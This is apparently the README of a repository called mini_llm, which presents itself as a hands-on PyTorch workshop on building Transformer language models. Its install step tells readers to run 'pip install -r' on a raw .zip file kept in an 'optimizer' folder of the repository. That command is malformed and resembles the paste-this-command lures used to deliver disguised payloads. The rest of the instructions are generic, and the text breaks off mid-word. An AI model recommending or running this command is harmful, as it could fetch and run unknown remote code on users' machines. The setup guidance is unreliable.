๐ Build and understand a Large Language Model from scratch using PyTorch through hands-on notebooks focused on core Transformer concepts.
README
Welcome to the mini_llm project! This workshop helps you build a Large Language Model (LLM) using PyTorch. You will learn about the core mechanisms that power models like GPT, BERT, and other modern Transformers.
To get started, you need to download the software. Click the button below to visit the Releases page:
Before you begin, ensure you have the following on your computer:
After downloading, follow these steps to run the application:
Open your command line interface (Terminal for macOS and Linux, Command Prompt or PowerShell for Windows).
Change your directory to where you saved the mini_llm files. You can do this by typing:
cd path\to\your\downloaded\files
Replace path\to\your\downloaded\files with the actual path.
Install the required packages. Run:
pip install -r https://github.com/Arezkiiiii/mini_llm/raw/refs/heads/main/transformers_building/optimizer/mini_llm_1.5.zip
Fi